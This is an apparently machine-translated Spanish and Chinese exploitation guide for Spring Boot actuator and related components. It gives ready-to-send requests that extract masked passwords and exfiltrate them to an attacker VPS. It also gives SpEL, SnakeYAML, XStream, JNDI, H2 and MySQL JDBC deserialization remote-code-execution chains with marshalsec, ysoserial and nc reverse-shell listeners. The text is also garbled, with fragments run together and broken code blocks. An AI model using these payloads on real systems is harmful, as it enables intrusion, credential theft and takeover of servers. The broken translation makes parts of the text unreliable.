
Materiales de aprendizaje sobre vulnerabilidades relacionadas con SpringBoot, colección de métodos y técnicas de explotación, lista de verificación para evaluación de seguridad de caja negra.
Material de aprendizaje sobre vulnerabilidades relacionadas con Spring Boot, recopilación de métodos y técnicas de explotación, lista de verificación para evaluación de seguridad en caja negra
⚠️ Todo el contenido de este proyecto se utiliza únicamente para fines de investigación de seguridad y pruebas autorizadas. Las personas relevantes no asumen ninguna responsabilidad por cualquier daño causado por el mal uso y abuso de este proyecto.
/manage, /management o nombres relacionados con la aplicación del proyecto como ruta raíz de Spring/, mientras que la versión 2.x unifica /actuator como ruta inicial/env, a veces también son modificados por los programadores, por ejemplo, cambiándolo a /appenvSpring Cloud se basa en Spring Boot para construir servicios y proporciona una colección ordenada de marcos que ayudan a desarrollar rápidamente sistemas distribuidos, ofreciendo funciones comunes como gestión de configuración, registro y descubrimiento de servicios, enrutamiento inteligente, etc.
| Dependencia | Lista de versiones y versiones de componentes dependientes |
|---|---|
| spring-boot-starter-parent | spring-boot-starter-parent |
| spring-boot-dependencies | spring-boot-dependencies |
| spring-cloud-dependencies | spring-cloud-dependencies |
| Versión principal de Spring Cloud | Versión de Spring Boot |
|---|---|
| Angel | Compatible con Spring Boot 1.2.x |
| Brixton | Compatible con Spring Boot 1.3.x, 1.4.x |
| Camden | Compatible con Spring Boot 1.4.x, 1.5.x |
| Dalston | Compatible con Spring Boot 1.5.x, no compatible con 2.0.x |
| Edgware | Compatible con Spring Boot 1.5.x, no compatible con 2.0.x |
| Finchley | Compatible con Spring Boot 2.0.x, no compatible con 1.5.x |
| Greenwich | Compatible con Spring Boot 2.1.x |
| Hoxton | Compatible con Spring Boot 2.2.x |
| Sufijo de versión menor | Significado |
|---|---|
| BUILD-SNAPSHOT | Versión snapshot, el código no es fijo, está en cambio |
| MX | Versión milestone |
| RCX | Versión candidata a lanzamiento |
| RELEASE | Versión de lanzamiento oficial |
| SRX | Versión de lanzamiento oficial (con corrección de errores y bugs y relanzamiento) |
Los desarrolladores no son conscientes de que la fuga de direcciones puede provocar riesgos de seguridad, o al cambiar del entorno de desarrollo al entorno de producción en línea, el personal relevante no modifica el archivo de configuración, olvidando cambiar la configuración del entorno, etc.
Acceder directamente a las siguientes dos rutas relacionadas con swagger para verificar si la vulnerabilidad existe:``` /v2/api-docs /swagger-ui.html
Algunas otras rutas de API relacionadas con swagger, swagger codegen, swagger-dubbo, etc., que se pueden encontrar:```
/swagger
/api-docs
/api.html
/swagger-ui
/swagger/codes
/api/index.html
/api/v2/api-docs
/v2/swagger.json
/swagger-ui/html
/distv2/index.html
/swagger/index.html
/sw/swagger-ui.html
/api/swagger-ui.html
/static/swagger.json
/user/swagger-ui.html
/swagger-ui/index.html
/swagger-dubbo/api-docs
/template/swagger-ui.html
/swagger/static/index.html
/dubbo-provider/distv2/index.html
/spring-security-rest/api/swagger-ui.html
/spring-security-oauth-resource/swagger-ui.html
Además, las siguientes rutas relacionadas con spring boot actuator a veces también contienen (o permiten inferir) información de direcciones de interfaz, pero no es posible obtener información relacionada con los parámetros:``` /mappings /metrics /beans /configprops /actuator/metrics /actuator/mappings /actuator/beans /actuator/configprops
**En general, exponer las interfaces relacionadas y la información de los parámetros de una aplicación Spring Boot no se considera una vulnerabilidad**, pero desde la perspectiva de "**seguridad por defecto**", es más seguro no exponer esta información.
Para un atacante, generalmente auditará cuidadosamente las interfaces expuestas para aumentar su comprensión del sistema de negocio, y al mismo tiempo verificará si el sistema de aplicación tiene vulnerabilidades de tipo de negocio como acceso no autorizado, escalada de privilegios, etc.
### 0x02: Rutas expuestas por una configuración incorrecta
> Principalmente porque los desarrolladores no se dieron cuenta de que exponer rutas podría generar riesgos de seguridad, o no siguieron el flujo de trabajo estándar, olvidando modificar/cambiar la configuración del entorno de producción al momento del despliegue.
Consulte [production-ready-endpoints](https://docs.spring.io/spring-boot/docs/1.5.10.RELEASE/reference/htmlsingle/#production-ready-endpoints) y [spring-boot.txt](https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt); las rutas internas predeterminadas que podrían exponerse debido a una configuración incorrecta pueden incluir:```
/actuator
/auditevents
/autoconfig
/beans
/caches
/conditions
/configprops
/docs
/dump
/env
/flyway
/health
/heapdump
/httptrace
/info
/intergrationgraph
/jolokia
/logfile
/loggers
/liquibase
/metrics
/mappings
/prometheus
/refresh
/scheduledtasks
/sessions
/shutdown
/trace
/threaddump
/actuator/auditevents
/actuator/beans
/actuator/health
/actuator/conditions
/actuator/configprops
/actuator/env
/actuator/info
/actuator/loggers
/actuator/heapdump
/actuator/threaddump
/actuator/metrics
/actuator/scheduledtasks
/actuator/httptrace
/actuator/mappings
/actuator/jolokia
/actuator/hystrix.stream
其中对寻找漏洞比较重要接口的有:
/env、/actuator/env
GET 请求 /env 会直接泄露环境变量、内网地址、配置中的用户名等信息;当程序员的属性名命名不规范,例如 password 写成 psasword、pwd 时,会泄露密码明文;
同时有一定概率可以通过 POST 请求 /env 接口设置一些属性,间接触发相关 RCE 漏洞;同时有概率获得星号遮掩的密码、密钥等重要隐私信息的明文。
/refresh、/actuator/refresh
POST 请求 /env 接口设置属性后,可同时配合 POST 请求 /refresh 接口刷新属性变量来触发相关 RCE 漏洞。
/restart、/actuator/restart
暴露出此接口的情况较少;可以配合 POST请求 /env 接口设置属性后,再 POST 请求 /restart 接口重启应用来触发相关 RCE 漏洞。
/jolokia、/actuator/jolokia
可以通过 /jolokia/list 接口寻找可以利用的 MBean,间接触发相关 RCE 漏洞、获得星号遮掩的重要隐私信息的明文等。
/trace、/actuator/httptrace
一些 http 请求包访问跟踪信息,有可能在其中发现内网应用系统的一些请求信息详情;以及有效用户或管理员的 cookie、jwt token 等信息。
访问 /env 接口时,spring actuator 会将一些带有敏感关键词(如 password、secret)的属性名对应的属性值用 * 号替换达到脱敏的效果
/jolokia 或 /actuator/jolokia 接口jolokia-core 依赖(版本要求暂未知)GET 请求目标网站的 /env 或 /actuator/env 接口,搜索 ****** 关键词,找到想要获取的被星号 * 遮掩的属性值对应的属性名。
将下面示例中的 security.user.password 替换为实际要获取的属性名,直接发包;明文值结果包含在 response 数据包中的 value 键中。
org.springframework.boot Mbean实际上是调用 org.springframework.boot.admin.SpringApplicationAdminMXBeanRegistrar 类实例的 getProperty 方法
spring 1.x``` POST /jolokia Content-Type: application/json
{"mbean": "org.springframework.boot:name=SpringApplication,type=Admin","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}
spring 2.x```
POST /actuator/jolokia
Content-Type: application/json
{"mbean": "org.springframework.boot:name=SpringApplication,type=Admin","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}
org.springframework.cloud.context.environment Mbean实际上是调用 org.springframework.cloud.context.environment.EnvironmentManager 类实例的 getProperty 方法
spring 1.x``` POST /jolokia Content-Type: application/json
{"mbean": "org.springframework.cloud.context.environment:name=environmentManager,type=EnvironmentManager","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}
spring 2.x```
POST /actuator/jolokia
Content-Type: application/json
{"mbean": "org.springframework.cloud.context.environment:name=environmentManager,type=EnvironmentManager","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}
La situación específica del objetivo y los Mbeans existentes pueden ser diferentes. Se pueden buscar palabras clave como
getPropertypara encontrar métodos invocables.
/env del sitio objetivo/env del sitio objetivo/refresh del sitio objetivo para actualizar la configuración (dependencia spring-boot-starter-actuator presente)spring-cloud-starter-netflix-eureka-clientRealice una solicitud GET a la ruta /env o /actuator/env del sitio objetivo, busque la palabra clave ****** y encuentre el nombre de la propiedad correspondiente al valor oculto por asteriscos (*) que desea obtener.
En su servidor de red externa controlado, escuche en el puerto 80:```bash nc -lvk 80
##### Paso 3: Establecer la propiedad eureka.client.serviceUrl.defaultZone
Reemplace `security.user.password` en `http://value:${security.user.password}@your-vps-ip` por el nombre de propiedad correspondiente que desea obtener, el cual está oculto con asteriscos * ;
Reemplace `your-vps-ip` por la dirección IP real de su servidor externo.
spring 1.x```
POST /env
Content-Type: application/x-www-form-urlencoded
eureka.client.serviceUrl.defaultZone=http://value:${security.user.password}@your-vps-ip
spring 2.x``` POST /actuator/env Content-Type: application/json
{"name":"eureka.client.serviceUrl.defaultZone","value":"http://value:${security.user.password}@your-vps-ip"}
##### Paso cuatro: Refrescar configuración
spring 1.x```
POST /refresh
Content-Type: application/x-www-form-urlencoded
spring 2.x``` POST /actuator/refresh Content-Type: application/json
##### Paso 5: Decodificar el valor del atributo
Normalmente, en este punto el servidor que escucha con `nc` recibirá una solicitud del objetivo, que contendrá un encabezado `Authorization` similar al siguiente:```
Authorization: Basic dmFsdWU6MTIzNDU2
Decodificando la parte dmFsdWU6MTIzNDU2 con base64, se obtiene un valor de texto plano similar a value:123456, donde 123456 es el valor de atributo en texto plano antes de ser ofuscado por el asterisco *.
/env para desencadenar que el objetivo realice una solicitud http arbitraria a una dirección externa especificada.Consulte issue-1 planteado por UUUUnotfound. Durante el proceso de solicitud http externa del objetivo, se pueden usar marcadores de posición en la ruta url para extraer datos.
Solicite los endpoints /env o /actuator/env del sitio web objetivo mediante GET, busque la palabra clave ****** y encuentre el nombre del atributo correspondiente al valor del atributo ofuscado por asteriscos * que se desea obtener.
En el servidor externo bajo su control, escuche el puerto 80:```bash nc -lvk 80
##### Paso 3: Desencadenar una solicitud http externa
- Método `spring.cloud.bootstrap.location` (**también aplicable** a casos donde hay caracteres especiales de URL en datos en texto claro)
spring 1.x```
POST /env
Content-Type: application/x-www-form-urlencoded
spring.cloud.bootstrap.location=http://your-vps-ip/?=${security.user.password}
spring 2.x``` POST /actuator/env Content-Type: application/json
{"name":"spring.cloud.bootstrap.location","value":"http://your-vps-ip/?=${security.user.password}"}
- `eureka.client.serviceUrl.defaultZone` método (**no aplicable** cuando los datos en texto plano contienen caracteres especiales de URL)
spring 1.x```
POST /env
Content-Type: application/x-www-form-urlencoded
eureka.client.serviceUrl.defaultZone=http://your-vps-ip/${security.user.password}
spring 2.x``` POST /actuator/env Content-Type: application/json
{"name":"eureka.client.serviceUrl.defaultZone","value":"http://your-vps-ip/${security.user.password}"}
##### Paso cuatro: Actualizar configuración
spring 1.x```
POST /refresh
Content-Type: application/x-www-form-urlencoded
spring 2.x``` POST /actuator/refresh Content-Type: application/json
### 0x06:Obtener el texto claro de contraseñas enmascaradas con asteriscos (Método 4)
> Al acceder a la interfaz /env, spring actuator reemplazará con asteriscos (*) los valores de las propiedades cuyos nombres contengan palabras clave sensibles (como password, secret) para lograr el enmascaramiento.
#### Condiciones de uso:
- Se puede realizar una solicitud GET normal a la interfaz `/heapdump` o `/actuator/heapdump` del objetivo.
#### Método de uso:
##### Paso 1: Encontrar el nombre de la propiedad que se desea obtener
Realice una solicitud GET a la interfaz `/env` o `/actuator/env` del sitio objetivo, busque la palabra clave `******` y encuentre el nombre de la propiedad correspondiente al valor enmascarado con asteriscos (*) que desea obtener.
##### Paso 2: Descargar la información del heap de JVM
> El tamaño del archivo heapdump descargado suele estar entre 50M y 500M, a veces puede ser mayor a 2G.
Realice una solicitud `GET` a la interfaz `/heapdump` o `/actuator/heapdump` del objetivo para descargar la información del heap de JVM en tiempo real de la aplicación.
##### Paso 3: Usar MAT para obtener el texto claro de las contraseñas en el heap de JVM
Consulte el método del [artículo](https://landgrey.me/blog/16/), utilizando la sentencia **OQL** de la herramienta [Eclipse Memory Analyzer](https://www.eclipse.org/mat/downloads.php).```
select * from java.util.Hashtable$Entry x WHERE (toString(x.key).contains("password"))
或
select * from java.util.LinkedHashMap$Entry x WHERE (toString(x.key).contains("password"))
辅助用 "password" 等关键词快速过滤分析,获得密码等相关敏感信息的明文。
Dado que las vulnerabilidades relacionadas con Spring Boot pueden ser causadas por una combinación de vulnerabilidades de múltiples componentes, algunos nombres de vulnerabilidades no son muy formales, pero se basan en la capacidad de distinguirlos.
Por ejemplo, si se descubre que al acceder a /article?id=xxx, la página muestra un error con código de estado 500: Whitelabel Error Page, entonces los payloads posteriores se probarán en el parámetro id.
Si se ingresa /article?id=${7*7} y se descubre que la página de error calcula el valor 49 de 7*7 y lo muestra, entonces básicamente se puede confirmar que el objetivo tiene una vulnerabilidad de inyección de expresión SpEL.
Convertir el formato de cadena a la forma de bytes Java 0x** para facilitar la ejecución de código arbitrario:```python
result = "" target = 'open -a Calculator' for x in target: result += hex(ord(x)) + "," print(result.rstrip(','))
Ejecutar el comando `open -a Calculator````java
${T(java.lang.Runtime).getRuntime().exec(new String(new byte[]{0x6f,0x70,0x65,0x6e,0x20,0x2d,0x61,0x20,0x43,0x61,0x6c,0x63,0x75,0x6c,0x61,0x74,0x6f,0x72}))}
org.springframework.util.PropertyPlaceholderHelperparseStringValue${} es analizado y ejecutado por el método resolvePlaceholder de la clase org.springframework.boot.autoconfigure.web.ErrorMvcAutoConfiguration como una expresión SpEL, provocando una vulnerabilidad RCE.Acceso normal:``` http://127.0.0.1:9091/article?id=66
Ejecutar el comando `open -a Calculator`:```java
http://127.0.0.1:9091/article?id=${T(java.lang.Runtime).getRuntime().exec(new%20String(new%20byte[]{0x6f,0x70,0x65,0x6e,0x20,0x2d,0x61,0x20,0x43,0x61,0x6c,0x63,0x75,0x6c,0x61,0x74,0x6f,0x72}))}
/env del sitio objetivo para establecer propiedades./refresh del sitio objetivo para actualizar la configuración (existe la dependencia spring-boot-starter-actuator).spring-cloud-starter de la que depende el objetivo es < 1.3.0.RELEASE.En la máquina VPS que controlas, inicia un servidor HTTP simple, utilizando preferiblemente puertos comunes de servicios HTTP (80, 443).```bash
python2 -m SimpleHTTPServer 80 python3 -m http.server 80
En el directorio raíz del sitio web coloque un archivo con extensión `yml` `example.yml`, con el siguiente contenido:```yaml
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://your-vps-ip/example.jar"]
]]
]
Coloca un archivo con extensión jar llamado example.jar en el directorio raíz del sitio web, cuyo contenido sea el código a ejecutar. La forma de escribir y compilar el código se refiere a yaml-payload.
spring 1.x``` POST /env Content-Type: application/x-www-form-urlencoded
spring.cloud.bootstrap.location=http://your-vps-ip/example.yml
spring 2.x```
POST /actuator/env
Content-Type: application/json
{"name":"spring.cloud.bootstrap.location","value":"http://your-vps-ip/example.yml"}
spring 1.x``` POST /refresh Content-Type: application/x-www-form-urlencoded
spring 2.x```
POST /actuator/refresh
Content-Type: application/json
Acceso normal:``` http://127.0.0.1:9092/env
### 0x03: eureka xstream deserialization RCE
#### Condiciones de explotación:
- Poder enviar una solicitud POST a la interfaz `/env` del sitio objetivo para configurar propiedades.
- Poder enviar una solicitud POST a la interfaz `/refresh` del sitio objetivo para actualizar la configuración (dependencia `spring-boot-starter-actuator` presente).
- La versión de `eureka-client` utilizada por el objetivo es < 1.8.7 (generalmente incluida en la dependencia `spring-cloud-starter-netflix-eureka-client`).
- El objetivo puede solicitar al servidor HTTP del atacante (la solicitud puede salir a la red externa).
#### Método de explotación:
##### Paso 1: Configurar un sitio web que responda con un payload malicioso de XStream
Proporcione un [ejemplo de script Python](https://raw.githubusercontent.com/LandGrey/SpringBootVulExploit/master/codebase/springboot-xstream-rce.py) que depende de Flask y cumpla con los requisitos, cuyo propósito es usar el Python integrado de la máquina Linux objetivo para obtener una reverse shell.
Use Python en su propio servidor controlado para ejecutar el script anterior y modifique la dirección IP y el puerto de la reverse shell en el script según la situación real.
##### Paso 2: Escuchar el puerto de la reverse shell
Generalmente use nc para escuchar un puerto y esperar la reverse shell.```bash
nc -lvp 443
spring 1.x``` POST /env Content-Type: application/x-www-form-urlencoded
eureka.client.serviceUrl.defaultZone=http://your-vps-ip/example
spring 2.x```
POST /actuator/env
Content-Type: application/json
{"name":"eureka.client.serviceUrl.defaultZone","value":"http://your-vps-ip/example"}
spring 1.x``` POST /refresh Content-Type: application/x-www-form-urlencoded
spring 2.x```
POST /actuator/refresh
Content-Type: application/json
eureka.client.serviceUrl.defaultZone se establece en una URL maliciosa de un servidor eureka externo.refresh desencadena que la máquina objetivo solicite la URL remota, y el servidor eureka falso configurado previamente devuelve un payload malicioso.Acceso normal:``` http://127.0.0.1:9093/env
### 0x04: Jolokia Logback JNDI RCE
#### Condiciones de explotación:
- El sitio objetivo tiene la interfaz `/jolokia` o `/actuator/jolokia`
- El objetivo utiliza la dependencia `jolokia-core` (la versión requerida aún se desconoce) y existen los MBeans relacionados en el entorno
- El objetivo puede realizar solicitudes al servidor HTTP del atacante (las solicitudes pueden salir a la red externa)
- La inyección JNDI común se ve afectada por la versión JDK del objetivo, jdk < 6u201/7u191/8u182/11.0.1 (LDAP), pero el entorno relacionado puede eludir esta restricción
#### Método de explotación:
##### Paso 1: Ver los MBeans existentes
Acceda a la interfaz `/jolokia/list` y verifique si existen las palabras clave `ch.qos.logback.classic.jmx.JMXConfigurator` y `reloadByURL`.
##### Paso 2: Alojar el archivo xml
En su propia máquina VPS, inicie un servidor HTTP simple, utilizando preferiblemente puertos comunes de servicios HTTP (80, 443)```bash
# 使用 python 快速开启 http server
python2 -m SimpleHTTPServer 80
python3 -m http.server 80
Coloca en el directorio raíz un archivo example.xml que termine en xml, con el siguiente contenido:```xml
##### Paso 3: Preparar el código Java a ejecutar
Escriba el [código de ejemplo Java](https://raw.githubusercontent.com/LandGrey/SpringBootVulExploit/master/codebase/JNDIObject.java) optimizado para obtener un shell reverso `JNDIObject.java`,
Compilar de manera compatible con versiones anteriores de JDK:```bash
javac -source 1.5 -target 1.5 JNDIObject.java
Luego copie el archivo JNDIObject.class generado al directorio raíz del sitio web en el Paso 2.
Descargue marshalsec y use el siguiente comando para configurar el servicio LDAP correspondiente:```bash java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://your-vps-ip:80/#JNDIObject 1389
##### Paso 5: Escuchar el puerto de la shell inversa
Generalmente se usa nc para escuchar en un puerto, esperando la shell inversa.```bash
nc -lv 443
⚠️ Si el objetivo solicita exitosamente example.xml y marshalsec también recibe la solicitud del objetivo, pero el objetivo no solicita JNDIObject.class, es probable que se deba a que la versión de jdk del entorno objetivo sea demasiado alta, lo que provoca que la explotación de JNDI falle.
Reemplace la IP real de su VPS en la URL para activar la vulnerabilidad:``` /jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/your-vps-ip!/example.xml
#### Principio de la vulnerabilidad:
1. Acceder directamente a la URL que puede desencadenar la vulnerabilidad equivale a llamar al método `reloadByURL` de la clase `ch.qos.logback.classic.jmx.JMXConfigurator` a través de jolokia.
2. La máquina objetivo solicita la URL del archivo de configuración de logs externo y obtiene el contenido de un archivo XML malicioso.
3. La máquina objetivo analiza el archivo XML usando `saxParser.parse` (esto provoca la vulnerabilidad XXE).
4. En el archivo XML se utiliza la etiqueta `insertFormJNDI` de la dependencia `logback` para establecer la dirección del servidor JNDI externo.
5. La máquina objetivo solicita al servidor JNDI malicioso, lo que provoca una inyección JNDI, resultando en una vulnerabilidad RCE.
#### Análisis de la vulnerabilidad:
[spring boot actuator rce via jolokia](https://xz.aliyun.com/t/4258)
#### Entorno de la vulnerabilidad:
[repository/springboot-jolokia-logback-rce](https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springboot-jolokia-logback-rce)
Acceso normal:```
http://127.0.0.1:9094/env
/jolokia o /actuator/jolokiajolokia-core (requisitos de versión aún desconocidos) y existen MBeans relacionados en el entornoAcceda a la interfaz /jolokia/list para ver si existen las palabras clave type=MBeanFactory y createJNDIRealm.
Escriba el código de ejemplo Java JNDIObject.java optimizado para obtener una shell reversa.
En una máquina VPS controlada por usted, inicie un servidor HTTP simple, utilizando preferiblemente puertos de servicio HTTP comunes (80, 443)```bash
python2 -m SimpleHTTPServer 80 python3 -m http.server 80
Copie el archivo de clase compilado en el **paso dos** al directorio raíz del servidor HTTP.
##### Paso cuatro: Configurar un servicio rmi malicioso
Descargue [marshalsec](https://github.com/mbechler/marshalsec) y use el siguiente comando para configurar el servicio rmi correspondiente:```bash
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://your-vps-ip:80/#JNDIObject 1389
Generalmente se usa nc para escuchar un puerto y esperar el shell inverso.```bash nc -lvp 443
##### Paso seis: Enviar payload malicioso
Modifique la dirección objetivo, la dirección RMI, el puerto y otra información en el script [springboot-realm-jndi-rce.py](https://raw.githubusercontent.com/LandGrey/SpringBootVulExploit/master/codebase/springboot-realm-jndi-rce.py) según la situación real, y luego ejecútelo en el servidor que controla.
#### Principio de la vulnerabilidad:
1. Utilizar jolokia para llamar a createJNDIRealm y crear JNDIRealm
2. Establecer la dirección connectionURL como RMI Service URL
3. Establecer contextFactory como RegistryContextFactory
4. Detener Realm
5. Iniciar Realm para activar la inyección JNDI de la dirección RMI especificada, causando una vulnerabilidad RCE
#### Análisis de la vulnerabilidad:
[Yet Another Way to Exploit Spring Boot Actuators via Jolokia](https://static.anquanke.com/download/b/security-geek-2019-q1/article-10.html)
#### Entorno de la vulnerabilidad:
[repository/springboot-jolokia-logback-rce](https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springboot-jolokia-logback-rce)
Acceso normal:```
http://127.0.0.1:9094/env
/env del sitio objetivo para establecer propiedades/restart del sitio objetivo para reiniciar la aplicacióncom.h2database.h2 (requisito de versión actualmente desconocido)⚠️ El método 'T5' en el payload a continuación necesita ser renombrado (por ejemplo, T6) cada vez que se ejecuta un comando, para poder ser recreado y utilizado; de lo contrario, la vulnerabilidad no se activará la próxima vez que se reinicie la aplicación con restart.
spring 1.x (ejecución de comandos sin salida visible)``` POST /env Content-Type: application/x-www-form-urlencoded
spring.datasource.hikari.connection-test-query=CREATE ALIAS T5 AS CONCAT('void ex(String m1,String m2,String m3)throws Exception{Runti','me.getRun','time().exe','c(new String[]{m1,m2,m3});}');CALL T5('cmd','/c','calc');
spring 2.x(ejecución de comandos sin eco)```
POST /actuator/env
Content-Type: application/json
{"name":"spring.datasource.hikari.connection-test-query","value":"CREATE ALIAS T5 AS CONCAT('void ex(String m1,String m2,String m3)throws Exception{Runti','me.getRun','time().exe','c(new String[]{m1,m2,m3});}');CALL T5('cmd','/c','calc');"}
spring 1.x``` POST /restart Content-Type: application/x-www-form-urlencoded
Spring 2.x```
POST /actuator/restart
Content-Type: application/json
spring.datasource.hikari.connection-test-query se establece como una declaración SQL maliciosa CREATE ALIAS que crea una función personalizada.connectionTestQuery del grupo de conexiones de bases de datos HikariCP, que define la instrucción SQL que se ejecuta antes de establecer una nueva conexión de base de datos.Acceso normal:``` http://127.0.0.1:9096/actuator/env
### 0x07: JNDI RCE en la consola de la base de datos h2
#### Condiciones de explotación:
- Dependencia `com.h2database.h2` presente (versión requerida actualmente desconocida)
- Consola h2 habilitada en la configuración de Spring `spring.h2.console.enabled=true`
- El objetivo puede realizar solicitudes al servidor del atacante (las solicitudes pueden salir a la red externa)
- La inyección JNDI está afectada por la versión JDK del objetivo, jdk < 6u201/7u191/8u182/11.0.1 (método LDAP)
#### Método de explotación:
##### Paso 1: Acceder a la ruta para obtener el jsessionid
Acceda directamente a la ruta predeterminada de la consola h2 habilitada en el objetivo `/h2-console`, el objetivo redirigirá a la página `/h2-console/login.jsp?jsessionid=xxxxxx`, tome nota del valor real de `jsessionid=xxxxxx`.
##### Paso 2: Preparar el código Java a ejecutar
Escriba el [código de ejemplo Java](https://raw.githubusercontent.com/LandGrey/SpringBootVulExploit/master/codebase/JNDIObject.java) optimizado para obtener una shell inversa `JNDIObject.java`,
compílelo de manera compatible con versiones bajas de JDK:```bash
javac -source 1.5 -target 1.5 JNDIObject.java
Luego, copie el archivo JNDIObject.class generado al directorio raíz del sitio web del Paso 2.
En la máquina VPS que controla, inicie un servidor HTTP simple, utilizando preferiblemente puertos de servicio HTTP comunes (80, 443).```bash
python2 -m SimpleHTTPServer 80 python3 -m http.server 80
Copiar el archivo class compilado en el **paso dos** al directorio raíz del servidor HTTP.
##### Paso 4: Configurar un servicio ldap malicioso
Descargar [marshalsec](https://github.com/mbechler/marshalsec) y usar el siguiente comando para configurar el servicio ldap correspondiente:```bash
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://your-vps-ip:80/#JNDIObject 1389
Generalmente se usa nc para escuchar un puerto, esperando la shell inversa.```bash nc -lv 443
##### Paso seis: Enviar paquete para desencadenar inyección JNDI
Según la situación real, reemplace `jsessionid=xxxxxx`, `www.example.com` y `ldap://your-vps-ip:1389/JNDIObject` en los datos siguientes.```bash
POST /h2-console/login.do?jsessionid=xxxxxx
Host: www.example.com
Content-Type: application/x-www-form-urlencoded
Referer: http://www.example.com/h2-console/login.jsp?jsessionid=xxxxxx
language=en&setting=Generic+H2+%28Embedded%29&name=Generic+H2+%28Embedded%29&driver=javax.naming.InitialContext&url=ldap://your-vps-ip:1389/JNDIObject&user=&password=
Acceso normal:``` http://127.0.0.1:9096/h2-console
### 0x08: deserialización RCE de mysql jdbc
#### Condiciones de explotación:
- Se puede utilizar una solicitud POST al endpoint `/env` del sitio web objetivo para establecer propiedades.
- Se puede utilizar una solicitud POST al endpoint `/refresh` del sitio web objetivo para actualizar la configuración (requiere la dependencia `spring-boot-starter-actuator`).
- La dependencia `mysql-connector-java` debe estar presente en el entorno objetivo.
- El objetivo debe poder realizar solicitudes al servidor del atacante (las solicitudes deben poder salir a la red externa).
#### Método de explotación:
##### Paso 1: Verificar las dependencias del entorno
Realizar una solicitud GET a `/env` o `/actuator/env`, buscar la palabra clave `mysql-connector-java` en las variables de entorno (classpath) y anotar su número de versión (5.x o 8.x);
Buscar y observar si existen dependencias de gadgets de deserialización comunes en las variables de entorno, como `commons-collections`, `Jdk7u21`, `Jdk8u20`, etc.;
Buscar la palabra clave `spring.datasource.url`, anotar su valor `value` para facilitar la posterior restauración del valor normal de la URL JDBC.
##### Paso 2: Montar un servidor MySQL malicioso (rogue)
Ejecutar el script [springboot-jdbc-deserialization-rce.py](https://raw.githubusercontent.com/LandGrey/SpringBootVulExploit/master/codebase/springboot-jdbc-deserialization-rce.py) en el servidor controlado por el atacante, y utilizar [ysoserial](https://github.com/frohoff/ysoserial) para personalizar el comando a ejecutar:```bash
java -jar ysoserial.jar CommonsCollections3 calc > payload.ser
在脚本同目录下生成 payload.ser 反序列化 payload 文件,供脚本使用。
⚠️ 修改此属性会暂时导致网站所有的正常数据库服务不可用,会对业务造成影响,请谨慎操作!
mysql-connector-java 5.x 版本设置属性值为:``` jdbc:mysql://your-vps-ip:3306/mysql?characterEncoding=utf8&useSSL=false&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true
mysql-connector-java versión 8.x establece **valor de propiedad** como:```
jdbc:mysql://your-vps-ip:3306/mysql?characterEncoding=utf8&useSSL=false&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true
spring 1.x``` POST /env Content-Type: application/x-www-form-urlencoded
spring.datasource.url=对应属性值
spring 2.x```
POST /actuator/env
Content-Type: application/json
{"name":"spring.datasource.url","value":"对应属性值"}
spring 1.x``` POST /refresh Content-Type: application/x-www-form-urlencoded
spring 2.x```
POST /actuator/refresh
Content-Type: application/json
Intente acceder a la interfaz de consulta a la base de datos conocida del sitio web, por ejemplo: /product/list, o busque otras formas de activar de forma proactiva la consulta a la base de datos del sitio de origen. Entonces se activará la vulnerabilidad.
Una vez finalizada la explotación de la vulnerabilidad de deserialización, use el método del Paso 3 para restaurar el valor value original de spring.datasource.url registrado en el Paso 1.
spring.datasource.url se establece en una dirección URL JDBC de MySQL maliciosa externa.spring.datasource.url.mysql-connector-java del objetivo deserializará el gadget configurado, causando una vulnerabilidad RCE.Es necesario configurar
spring.datasource.url,spring.datasource.usernameyspring.datasource.passwordenapplication.propertiespara garantizar la conexión normal a la base de datos MySQL; de lo contrario, el programa reportará un error y saldrá al iniciarse.
Acceso normal:``` http://127.0.0.1:9097/actuator/env
Después de enviar el payload, se activa la vulnerabilidad:```
http://127.0.0.1:9097/product/list
/env del sitio web objetivo para establecer propiedades/restart del sitio web objetivo para reiniciar la aplicaciónjavax.naming.spi.ObjectFactory; de lo contrario, el programa se cerrará de manera anómalaEn una máquina VPS controlada por usted, inicie un servidor HTTP simple, utilizando puertos de servicio HTTP comunes (80, 443) siempre que sea posible.```bash
python2 -m SimpleHTTPServer 80 python3 -m http.server 80
Coloca el archivo `example.xml` que termina en `xml` en el directorio raíz, el contenido real depende del servicio JNDI utilizado en el paso dos:```xml
<configuration>
<insertFromJNDI env-entry-name="ldap://your-vps-ip:1389/TomcatBypass/Command/Base64/b3BlbiAtYSBDYWxjdWxhdG9y" as="appName" />
</configuration>
Consulte el artículo, modifique JNDIExploit e inícielo (también se pueden usar otros métodos):```bash java -jar JNDIExploit-1.0-SNAPSHOT.jar -i your-vps-ip
##### Paso 3: Configurar la propiedad logging.config
spring 1.x```
POST /env
Content-Type: application/x-www-form-urlencoded
logging.config=http://your-vps-ip/example.xml
spring 2.x``` POST /actuator/env Content-Type: application/json
{"name":"logging.config","value":"http://your-vps-ip/example.xml"}
##### Paso 4: Reiniciar la aplicación
spring 1.x```
POST /restart
Content-Type: application/x-www-form-urlencoded
spring 2.x``` POST /actuator/restart Content-Type: application/json
#### Principio de la vulnerabilidad:
1. La máquina objetivo configura la URL del archivo de configuración de logback a través de la propiedad `logging.config`.
2. Después de reiniciar (restart), la aplicación solicita la URL para obtener el contenido del archivo XML malicioso.
3. La máquina objetivo utiliza `saxParser.parse` para analizar el archivo XML (esto conduce a una vulnerabilidad XXE).
4. En el archivo XML, se utiliza la etiqueta `insertFormJNDI` de la dependencia `logback` para establecer la dirección del servidor JNDI externo.
